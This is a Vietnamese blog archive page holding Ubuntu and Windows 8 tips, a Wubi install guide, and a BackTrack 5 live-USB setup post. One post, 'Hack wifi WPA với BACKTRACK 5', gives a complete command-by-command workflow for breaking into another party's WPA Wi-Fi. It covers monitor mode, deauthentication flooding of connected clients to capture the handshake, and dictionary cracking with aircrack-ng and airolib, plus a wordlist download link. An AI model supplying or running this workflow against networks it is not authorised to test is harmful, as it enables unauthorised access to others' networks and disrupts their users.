Social Icons

Hiển thị các bài đăng có nhãn hệ điều hành. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn hệ điều hành. Hiển thị tất cả bài đăng

Thứ Ba, 18 tháng 12, 2012

Tài liệu ubuntu

Chương 1: Tổng Quan Về Ubuntu
1. Giới thiệu về Linux
1.1. Linux là gì?
1.2. Linux có gì hấp dẫn?
1.2.1. Vấn đề bản quyền
1.2.2. Những ưu điểm kỹ thuật nổi bật của Linux
1.2.3. Một vài nhược điểm cố hữu của Linux
2. Giấy phép Công cộng GNU
3. Hệ điều hành Ubuntu
3.1. Nguồn gốc của Ubuntu
3.2. Giới thiệu về Ubuntu
Chương 2: Cấu Trúc Hệ Thống Ubuntu
1. Cấu trúc thư mục của Ubuntu
2. Người dùng và quyền hạn
3. Cửa sổ dòng lệnh (Terminal)
4. Màn hình làm việc Desktop
Chương 3: Môi Trường Đồ Họa Unity trên Ubuntu 11.04
1. Giao diện Gnome:
2. Bắt đầu sử dụng Ubuntu với Unity
2.1 Sử dụng Trình khởi động (Launcher) để bắt đầu ứng dụng
2.1.1 Mở Launcher
2.1.2 Gắn và gỡ bỏ các ứng dụng trên Launcher
2.2 Tìm các ứng dụng và các tập tin với Dash
2.3 Cửa sổ và vùng làm việt
2.3.1 Làm việc với các cửa sổ
Phóng to và bỏ phóng to (khôi phục) một cửa sổ
Thu nhỏ và mở lại cửa sổ
Thay đổi khích cỡ cửa sổ
Di chuyển và đóng cửa sổ
Chuyển đổi giữa các cửa sổ
2.3.2 Làm việc với các vùng làm việc
Chuyển đổi giữa các vùng làm việc
Di chuyển cửa sổ vào vùng làm việc khác
2.4: Log out, power off, switch users
2.4.1 Đăng xuất, đăng nhập và chuyển đổi người dùng
2.4.2 Khóa màn hình
2.4.3 Tắt máy hoặc khởi động lại
Chương 4: Quản Lý Và Tìm Kiếm Tập Tin, Thư Mục
1. Duyệt các tập tin và thư mục
2. Sao chép và di chuyển tập tin và thư mục.
3. Xóa tập tin và thư mục.
3.1 Cách xóa một tập tin:
3.2 Xóa một tập tin vĩnh viễn.
4. Đổi tên tập tin và thư mục.
5. Tìm tập tin.
5.1 Tìm kiếm
5.2 Lưu tìm kiếm
6. Sắp xếp tập tin và thư mục.
7. Duyệt tập tin được chia sẻ trên máy chủ hoặc trong mạng nội bộ.
7.1 Kết nối đến máy chủ tập tin.
7.2 Chia sẻ trên Windows
8. Thuộc tính tập tin. 33
9. Tìm một tập tin bị lạc mất.
10. Mở tập tin bằng chương trình ứng dụng khác.
10.1 Thay đổi ứng dụng mặc định.
11. Mở một ứng dụng khi bạn gắn thêm thiết bị lưu trữ bên ngoài vào.
12. Gỡ bỏ an toàn một thiết bị lưu trữ di động.
Chương 5: Ứng Dụng Mạng Và Internet
1. Trình duyệt Web.
1.1 Thay đổi một trang web mặc định.
1.2 Cài đặt Flash plug-in
1.4 Cài đặt Silverlight plug-in.
2. Email & email software.
2.1 Thay đổi ứng dụng viết email mặc định
2.2 Tôi có cần quét virus cho Email của tôi không?
3. Chat & Mạng xã hội.
3.1 Tin nhắn tức thời trên Ubuntu.
3.2 Cuộc gọi video.
3.3 Làm thế nài để sử dụng kype on Ubuntu?
4. An toàn khi sử dụng internet
4.2 Tôi có cần phần mềm chống virus?
4.3 Kích hoạt và ngăn chặn kích hoạt tường lửa.
5. Mạng có dây
5.1 Kết nối với một mạng có dây (Ethernet)
5.2 Tạo một kết nối với đại chỉ IP cố định.
6. Mạng không dây.
6.1 Kết nối với mạng không dây.
6.2 Kết nối trực tiếp đến máy tính khác bằng mạng không dây (AD-Hoc)
6.3 Thiết lập mạng không dây AD-Hoc:
6.4 Bảo vệ mạng Ad-hoc.
6.5 Kết nối với mạng không dây ẩn.
6.6 Chỉnh sửa một mạng không dây.
6.7 Kết nối tự động.
6.8 Chia sẻ một kết nối tự động cho tất cả người dùng.
6.9 Nhập mật khẩu chính xác nhưng vẫn không thể kết nối.
7. Một vài lời khuyên khi sử dụng mạng .
7.1 Xem IP của máy đang sử dụng.
7.2 Sử dụng Internet an toàn.
7.3 Địa chỉ MAC là gì?
7.4 Proxy là gì?
7.5 IP Address là gì?
7.6 Virtual Private Networks (VPNs) Mạng riêng ảo.
Chương 7: Quản Lý Cài Đặt Và Gỡ Bỏ Các Ứng Dụng
1. Cài đặt thêm các chương trình
2. Gỡ bỏ một chương trình
3. Thêm một gói ứng dụng cá nhân(Personal Package Archive - PPA).
3.1 Cài đặt APT.
3.2 Kích hoạt các kho lưu trữ của đối tác Canonical
4. Sử dụng Synaptic để quản lý phần mềm cao cấp.
5. Phần mềm bổ trợ.
5.1 Phầm mềm hỗ trợ gõ tiếng việt
5.1.1 Cài đặt ngôn ngữ Tiếng Việt
5.1.2 Thiết lập Ibus là bộ gõ mặc định
5.1.3 Khởi Động Ibus để khích hoạt chương trình
5.1.4 Sử dụng 53
5.2 Phầm mềm diệt virus ClamAV
5.2.1 Cài đặt sử dụng
5.3 Chạy các phầm mềm Windows trên Ubuntu
5.3.1 Giới thiệu về Wine
5.3.2 Cài đặt Wine trong Ubuntu
Chương 8: Thiết Lập, Tùy Biến Người Dùng Và Hệ Thống
2. Display & screen
2.1 Tự động khóa màn hình
2.2 Thiết lặp độ sáng màn hình.
2.3 Thay đổi màn hình Desktop.
2.4 Thay đổi kích thước / độ xoay của màn hình.
2.4.1 Độ phân giải.
2.4.2 Xoay.
2.5 Cho phép màn hình thứ hai.
3. Keyboard
3.1 Làm cho con trỏ bàn phím nhấp nháy
3.2 Tắt tính năng lặp lại khi nhấn phím.
3.3 Bố trí sử dụng bàn phím thay thế.
4. Mouse
4.1 Điều chỉnh tốc độ của chuột và touchpad
4.2 Tăng tốc độ Double Click chuột.
4.3 Điều chỉnh ngưỡng kéo chuột
4.4 Xác định nhanh vị trí con trỏ chuột.
4.7 Click và di chuyển con trỏ chuột mà không cần chuột.
4.8 Click hoặc cuộn với touchpad
4.9 Tắt touchpad khi đánh máy.
5. Power & battery
5.1 Tăng tuổi thọ của pin.
5.2 Tôi muốn các máy tính tắt khi tôi bấm nút Power.
5.3 Sử dụng ít năng lượng và cải thiện tuổi thọ pin
5.3.1 Hướng dẫn chung.
5.3.2 Laptops, netbooks, và các thiết bị dùng pin khác .
5.4 Khi không dùng máy tính hoặc để máy tính ngủ đông?
5.5 Tại sao máy tính của tôi tắt khi tôi gắp lại?
5.6 Ngăn chặn các máy tính tạm nghỉ khi gặp màn hình.
6. Ngày và giờ.
6.1 Thay đổi ngày giờ hệ thống.
6.2 Thay đổi thông tin được hiển thị trong đồng hồ.
6.2.1 Thay đổi định dạng ngày tháng
6.2.2 Xem những múi giờ khác
6.3 Xem các cuộc hẹn trong lịch của bạn
7. Ngôn ngữ & Vùng địa phương.
7.1 Thay đổi ngôn ngữ.
8. User accounts
8.2 Thay đổi hình ảnh đăng nhập.
8.3 Xóa một tài khoản người dùng.
8.4 Hạn chế khởi động một phiên làm việc.
8.5 Mật khẩu.
8.5.1 Thay đổi mật khẩu.
8.5.2 Thay đổi mật khẩu keyring
9. Sharing
9.2 Bảo mật an ninh.
9.2.1 Yêu cầu nhập mật khẩu
9.2.2 Cho phép truy cập vào máy tính để bàn của bạn qua Internet.
9.3 Hiển thị biểu tượng khu vực thông báo
Chương 9: Quản Lý Phần Cứng Và Trình Điều Khiển Thiết Bị
1. Driver(trình điều khiển) là gì ?
2. Drivers (trình điều khiển) độc quyền là gì?
3. Đĩa cứng & các vấn đề lưu trữ.
3.1 Kiểm tra không gian đĩa trống.
3.1.1 Kiểm tra bằng Disk Usage Analyzer.
3.1.2 Kiểm tra với System Monitor
3.1.3 Điều gì sẽ xảy ra nếu đĩa đã đầy.
3.2 Kiểm tra các vấn đề về đĩa cứng của bạn.
3.2.1 Kiểm tra ổ đĩa cứng.
3.2.2 Điều gì sẽ xảy ra nếu đĩa bị lỗi.
3.3 Quản lý Volumes và các phân vùng.
3.4 Xem và quản lý các phân vùng bằng cách sử dụng disk utility.
3.5 Kiểm tra hiệu năng đĩa cứng của bạn.
3.6 Format một ổ đĩa di động
4. Máy In
4.1 Cài đặt máy in.
4.1.1 Cài đặt một máy in cục bộ.
4.2 Bố trí kích thướt giấy.
4.2.1 Thay đổi kích cỡ giấy khi in.
4.2.2 Điều chỉnh trang in theo thứ tự khác nhau.
4.2.3 In phong bì và nhãn.
4.2.4 In hai mặt và in nhiều trang.
4.3 Các vần đề về máy in.
4.3.1 Làm thế nào để kiểm tra mức độ mực máy in ?
4.3.2 Huỷ bỏ IN.
4.3.3 Xóa tình trạng kẹt giấy.
4.3.4 Tại sao trên trang in có đường kẻ sọc,màu sắc không đúng?
Chương 10: Cài Đặt Ubuntu 11.04


dowload đầy đủ bộ tài liệu tại đây
readmore...

Thứ Hai, 17 tháng 12, 2012

30 phím tắt mới trong Windows 8

- Win + Print Screen: chụp ảnh màn hình, hình ảnh sẽ lưu tại thư mục LibrariesPictures
- Win + C: Mở thanh Charms Bar
- Win + Tab : Mở danh sách Switch List
- Win + Q : Mở giao diện tìm kiếm Metro
- Win + W : Mở giao diện tìm kiếm System Settings
- Win + F : Mở tìm kiếm Files
- Win + Z : Mở tùy chọn tùy chỉnh Metro Apps
- Win + I : Mở Settings Menu
- Win + P : Mở tùy chọn màn hình và thiết lập máy chiếu
- Win + H : Mở giao diện Share
- Win + K : Mở giao diện Devices Settings
- Win + X : Mở giao diện System Utility Settings Menu
- Win + T : Xem 1 cửa sổ thu nhỏ trên Taskbar
- Win + U : Mở giao diện tùy chỉnh Ease of Access Center
- Win + E : Mở Windows Explorer
- Win + R : Mở Run Dialogue Box
- Win + Pause : Mở cửa sổ System Properties
- Win + Enter : Mở Windows Narrator
- Win + Shift + . : Thu hẹp cửa sổ sang phải
- Win + . : Thu hẹp cửa sổ sang trái
- Win + , : Mọi cửa sổ đều trở nên trong suốt
- Win + D : Truy cập nhanh đến màn hình Desktop
- Win + M : Thu nhỏ tất cả ứng dụng
- Win + B : Quay lại Desktop
- Win + J : Di chuyển giữa các ứng dụng Metro
- Win + L : Khóa màn hình
- Win + Page Up/ Page Down : Chuyển đổi giửa màn hình chính và phụ
- Ctrl + Mouse Scroll ( tại giao diện Start Screen) : Phóng lớn màn hình
- Ctrl + Mouse Scroll (tại Desktop) : Thay đổi kích thức icon
- Ctrl + Shift+ N : Tạo thư mục mới trong thư mục hiện tại
readmore...

Hack wifi WPA với BACKTRACK 5

Các bước tiến hành như sau :
1, bật 1 cửa sổ lệnh và gõ :
iwconfig (cái này để xem các card trong máy).
airmon-ng ( để xem máy mình có card wifi hỗ trợ trong Backtrack ?).Nếu không có thì thôi,khỏi hack lun.
airmon-ng stop wlan0 (interface của card tương thích hiện ra trong lệnh airmon-ng trên).
ifconfig wlan0 donw (không có bước này thì không chạy được đâu nhá!).
ifconfig wlan0 up
airmon-ng start wlan0
airodump-ng mon0 (mon0 là monitor interface của wlan0 sau khi thực hiện lệnh airmon-ng start wlan0).
2, mở 1 của sổ lệnh khác gõ :
airodump-ng --bssid BSSID -w wpafile -c CH mon0
( BSSID là MAC tương ứng với wifi mình định hack,hiên ra ở bảng airodump-ng mon0.
wpafile là tên 1 file mình đặt để nó tạo ra file .cap cho mình.
CH là channel tương ứng với cột CH hiện ra ở bảng airodump-ng mon0 của wifi mình định hack )

aireplay-ng --deauth 0 -a BSSID -c STATION mon0 (gửi đi liên tục các gói tin để thu được WPA handshake ,có thể phải thực hiện vài lần lệnh này cho đến khi nó chạy liên tục).
3. Chuyển sang cửa sổ của lệnh airodump-ng mon0,chờ đến khi xuất hiện dòng WPA handshake thì dừng lại bằng cách ấn CTRL +C.rồi gõ lệnh :
aircrack-ng -w /đường dẫn đến file passwordlist/password.lst /đường dẫn đến file wpafile-01.cap/wpafile-01.cap (thường là /root/wpafile-01.cap ;wpafile chính là tên tương ứng với lên airodump ở trên ;password.lst là file có chứa từ điển pass , mình phải download trên mạng về,có thể là file .text hoặc .dic)
Bây giờ ngồi chờ báo KEY FOUND thôi. :d.
Tuy nhiên cách này rất lâu, chỉ dò được khoảng 900key/s.
Có cách khác nhanh hơn có thể dò được khoảng 30000-40000key/s .Đó là tạo database cho Backtrack.Làm như sau :
- Các bạn mở thêm 1 cửa sổ lệnh khác, gõ :
airolib-ng crackwpa --import essid /đường dẫn/essid.txt(essid.txt là file có chứa SSID(tên hiện ra) của wifi mình hack ; crackwpa là tên database mà mình sẽ tạo ra).
airolib-ng crackwpa --import passwd /đường dẫn/password.lst airolib-ng crackwpa --batch ( kết hợp essid và password.lst , sẽ phải đợi hơi lâu để hoàn thành).

aircrack-ng -r crackwpa wpa*.cap (bây giờ tốc độ dò lên đến 30000k/s ). :D

Cái này phải phụ thuộc rất nhiều vào file password.lst ,nếu nó không chứa pass của wifi thì chịu chết k hack được.
các bạn có thể dowload file password.lst tại đây: http://www.ziddu.com/download/21137724/huge_wordlist.rar.html
readmore...

Hướng dẫn cài backtrack 5 liveUSB

Chào các bạn hôm nay sẽ hướng dẫn các bạn cài backtrack 5 bằng liveusb
LƯU Ý: để cài được Backtrack Live USB và chạy nó trên máy tính, bạn phải có một cái USB dung lượng trên 4GB và BIOS máy bạn phải có chức năng boot từ USB device !
Đầu tiên các bạn vào đây: http://www.backtrack-linux.org/downloads/ , các bạn sẽ thấy một trang menu download. Bước đầu là register download bạn có thể bỏ qua (bấm nút download);
Kế đến bạn chọn options như sau (các bạn nên chú ý phần này, bởi lẽ chỉ cần chọn nhầm thôi là đi tong 2 tiếng download ngay):

Sau khi đã dowload xong r thì bạn dowload Universal USB Installer để tạo boot.Các bạn vào đây http://myskyx.blogspot.com/2012/12/universal-usb-installer-cong-cu-boot.html.Ở đây mình đã hướng dãn cụ thể cach tạo boot r,các bạn vào đấy xem nha.
Hướng dẫn cách change BIOS settings
Nếu bạn cắm USB vào mà thấy nó vẫn boot từ ổ cứng thì hãy đọc chương này, không thì mời bạn chuyển sang chương sau.
Đầu tiên, bạn bật máy của bạn lên và bấm nút "Delete" liên ngay khi bật máy (hoặc F2 & F1 dành cho một số laptop) cho đến khi bạn nhìn thấy BIOS interface (nếu mình không nhầm thì BIOS là "Basic Input - Output System").
2 loại BIOS phổ biến nhất là AMI BIOS và AWARD BIOS. 2 loại này khác nhau ở mầu nền và cách bố trí trang menu. Sau đây mình sẽ hướng dẫn các bạn cách change bios settings để boot từ USB:
Trông nó như thế này đây

Dùng các phím lên xuống sang phải sang trái và chọn tab "Boot", các bạn sẽ thấy Boot Settings

Chọn "Boot Device Priority", và chọn USB của bạn làm "First boot device".

Cuối cùng nhấn F10 để save

Có thể bạn sẽ gặp một số vấn đề như USB của bạn không hiển thị trong list devices, và nếu bạn thấy thế thì bạn đừng buồn mà hãy lục trong BIOS tiếp, cũng giống như trường hợp của mình đây. Còn nếu lục mãi trong BIOS mà không thấy thì ... xin lỗi, bạn quá gà, bỏ ý định học hack đi =))

Nếu bạn thấy mầu nền BIOS của bạn giống giống như vậy thì đọc tiếp nhé :) vào "Advanced BIOS Features". Lưu ý là trong BIOS không dùng chuột nhé, chỉ dùng các phím "lên xuống phải trái" thôi.

Click vào "First boot device" và tìm tên USB của bạn

Nhấn F10 để save, vậy là xong.

Cái này còn dễ hơn cả AMI BIOS nữa, ko làm dc thì chứng tỏ bạn quá gà, từ bỏ ý định học hack đi =))

Nếu số lượng drive của bạn nhiều hơn 3 thì có thể sẽ xảy ra tình trạng BIOS không nhìn thấy USB của bạn, nhưng đừng vì thế mà nghĩ rằng BIOS của bạn không có chức năng boot từ USB (tất cả các BIOS ra sau năm 2006 đều có chức năng này hết), và hãy lục trong BIOS tiếp để tìm cách đẩy USB device của bạn vào top 3 device trên.

Hướng dẫn cách chạy Backtrack

Khi đầu tiên bạn chọn "Default boot", sau đó bạn sẽ thấy một background tuyệt đẹp, sau đó sẽ thấy dòng lệnh hiện thị OS reports, đợi khoảng 30s - 1 phút (máy khỏe load nhanh máy yếu load chậm), login của bạn là root, password là toor. Bạn sẽ thấy dòng lệnh, gõ startx để chuyển sang Graphic mode (mode của bạn đang là Console mode, khá bất tiện).
Vậy là xong, cứ mò mẫm và nghiên cứu hệ điều hành mới này nhé :)) Cách hack wifi mình sẽ up ở kì sau ... hẹn gặp lại các bạn và chúc các bạn thành công nha. :x

readmore...

Cài đặt Ubuntu từ Windows bằng wubi

Sử dụng đĩa CD hoặc đĩa ảo
Nếu bạn có đĩa CD, có thể bắt đầu từ bước 3
1 Tải Ubuntu: http://www.ubuntu.com/download/desktop
2 Đặt (mount) nó vào ổ đĩa ảo.
Nếu bạn chưa có có chương trình tạo ổ đĩa ảo thì bạn có thể dùng daemon tools lite (miễn phí cho mục đích phi thương mại)http://www.daemon-tools.cc/
3 Tiến hành chạy chương trình wubi.exe ở thư mục gốc của đĩa CD (hoặc CD ảo)

4 Nhấn vào nút Install inside Windows (hình trên)
5 Chỉnh sửa các thiết đặt:

* Tiến hành chọn đĩa cài (Installation drive): đĩa phải còn trống hơn 3GB, không cần tạo 1 ổ đĩa riêng, khi cài đĩa này không bị mất dự liệu, không nên dùng đĩa có định dạng dòng FAT.
* Chọn dung lượng cài Ubuntu (Installation size): bạn nên cho dung lượng lớn một tí, vì sau khi cài muốn thay đổi dung lượng là rất phức tạp
* Môi trường Desktop (Desktop environment): trùng với môi trường Desktop trong đĩa CD (hoặc CD ảo)
* Ngôn ngữ (Language): không có tiếng Việt, nếu bạn muốn dùng tiếng Việt thì có thể cài thêm sau khi cài Ubuntu
* Tên người dùng (username): tên tài khoản đăng nhập
* Mật khẩu (password): mật khẩu dùng với tài khoản trên
6 Nhấn Install để tiến hành cài đặt. Quá trình cài đặt này mất khoảng vài phút tùy cấu hình máy.

7 Màn hình tiếp theo hỏi bạn có khởi động lại máy lập tức hay không.Chọn Reboot now để tiếp tục cài đặt.

8 Sau khi khởi động lại, ở màn hình boot loader của windows sẽ có thêm 1 tùy chọn nữa để vào Ubuntu, bạn chọn Ubuntu

9 Sau đó quá trình cài đặt thật sự của Ubuntu bắt đầu, sau khi cài đặt xong, khởi động lại vào Ubuntu là bạn có thể bắt đầu sử dụng
Không sử dụng đĩa CD và đĩa ảo
Cách cài này tương tự như cách cài có sử dụng đĩa CD hoặc đĩa ảo.
1 Tải Ubuntu :bước này có thể bỏ qua nếu như muốn chương trình cài đặt (wubi) tự tải về
2 Lấy chương trình wubi:
* Dùng 7-zip hoặc WinRAR hoặc bất kì chương trình nào có thể đọc được file iso, lấy file wubi.exe ra. (Khuyên dùng nếu bạn đã tải Ubuntu)
* Hoặc tải từ trang http://wubi-installer.org/ hoặc http://wubi.sourceforge.net/ (chỉ có bản mới nhất, khuyên dùng nếu muốn wubi tự tải ubuntu về)
* Hoặc http://releases.ubuntu.com/x.xx/wubi.exe với x.xx là số hiệu phiên bản Ubuntu cần cài
3 Đặt file iso của Ubuntu (nếu đã tải) cùng thư mục với file wubi.exe, rồi chạy file wubi.exe
4 Tiến hành cấu hình như cách cài Sử dụng đĩa CD hoặc đĩa ảo, chỉ khác là ở bươc chọn môi trường Desktop, bạn phải chọn môi trường Desktop chính xác

5 Tiếp tục cài đặt như cách Sử dụng đĩa CD hoặc đĩa ảo
Lưu trữ và phục hồi khi cài lại Windows
Nếu bạn cần cài hoặc phục hồi lại Windows (từ file Ghost, Acronis, ...), thì bạn cần lưu trữ và phục hồi lại Ubuntu như sau:
Lưu trữ: tất cả những gì bạn cần làm là chép (hoặc di chuyển) thư mục ubuntu (ở ổ đĩa đã chọn cài Ubuntu) đến ổ đĩa dữ liệu không bị ảnh hưởng bởi quá trình cài đặt hoặc phục hồi Windows.
Phục hồi: 3 bước
1 Copy thư mục ubuntu đã backup về chỗ cũ (hoặc có thể để ở thư mục gốc của ổ đĩa bất kì)
2 Copy 2 file wubildr và wubildr.mbr ở thư mục ubuntu/winboot về thư mục gốc của ổ đĩa hệ thống (thường là C)
* Đối với Windows 2000/XP: thêm dòng sau vào file boot.ini (nằm ở thư mục gốc của ổ đĩa hệ thống)
C:\wubildr.mbr = "Ubuntu"
* Đối với Windows Vista/7: (các lệnh điều gõ trên Command Prompt của Windows)
* Gõ lệnh: (với chữ "Ubuntu" có thể thay bằng chữ khác bất kì)
bcdedit /create /d "Ubuntu" /application bootsector
Sau khi gõ lệnh, kết quả trả về sẽ có 1 dãy ID nằm trong dấu {}, ghi nhớ (copy) dãy ID này.
* Gõ tiếp những lệnh sau: (với chữ ID được thay bằng ID đã ghi nhận ở trên, C: thay bằng ổ đĩa hệ thống)
bcdedit /set {ID} device partition=C:
bcdedit /set {ID} path \wubildr.mbr
bcdedit /displayorder {ID} /addlast
3 Cuối cùng khởi động lại để xem kết quả
Note: đối với Windows Vista/7, có thể dùng EasyBCD để cấu hình bằng giao diện đồ họa
Chuyển Ubuntu cài bằng Wubi sang phân vùng riêng
Sau một thời gian dùng thử Ubuntu, bạn hài lòng với nó và muốn sử dụng Ubuntu trên phân vùng riêng mà không muốn mất các thiết lập sẵn có, bạn có thể chuyển Ubuntu cài đặt bằng Wubi sang phân vùng riêng.
Chuyển: 5 bước Download LVPM : http://sourceforge.net/projects/lubi/files/LVPM/96/lvpm_96_all.deb/download
1 Phân vùng ổ cứng : Bạn cần thêm 2 phân vùng, 1 cho Ubuntu và 1 cho swap
2 Cài đặt LVPM (Loopmounted Virtual Partition Manager) trong Ubuntu:
sudo apt-get install lvpm
Sau khi yêu cầu password, k
pvm sẽ được cài đặt.
1 Khởi động LVPM từ Application -> System Tools -> LPVM, chọn Transfer

2 Chọn phân vùng bạn muốn chuyển Ubuntu tới.
Note:Hãy cẩn thận, nếu chọn nhầm bạn có thể bị mất dữ liệu

3 LVPM sẽ tự làm những việc còn lại (format phân vùng, copy dữ liệu, cài đặt Grub...)
Cuối cùng, bạn chọn Reboot để hoàn tất quá trình chuyển đổi.

Note: Sau khi quá trình chuyển hoàn tất, bạn có thể gỡ bỏ Wubi.
Gỡ bỏ
Việc gỡ bỏ Ubuntu khi cài bằng cách này đơn giản như gỡ các ứng dụng Windows khác.
Vào Control Panel -> Add/Remove Programs, tìm chương trình tên Ubuntu rồi chọn Remove Sau khi gỡ bỏ Ubuntu, nếu khi khởi động vẫn còn hiện menu chọn Ubuntu thì bạn cần xóa dòng sau trong file boot.ini ở thư mục gốc ổ đĩa hệ thống
C:\wubildr.mbr = "Ubuntu"
readmore...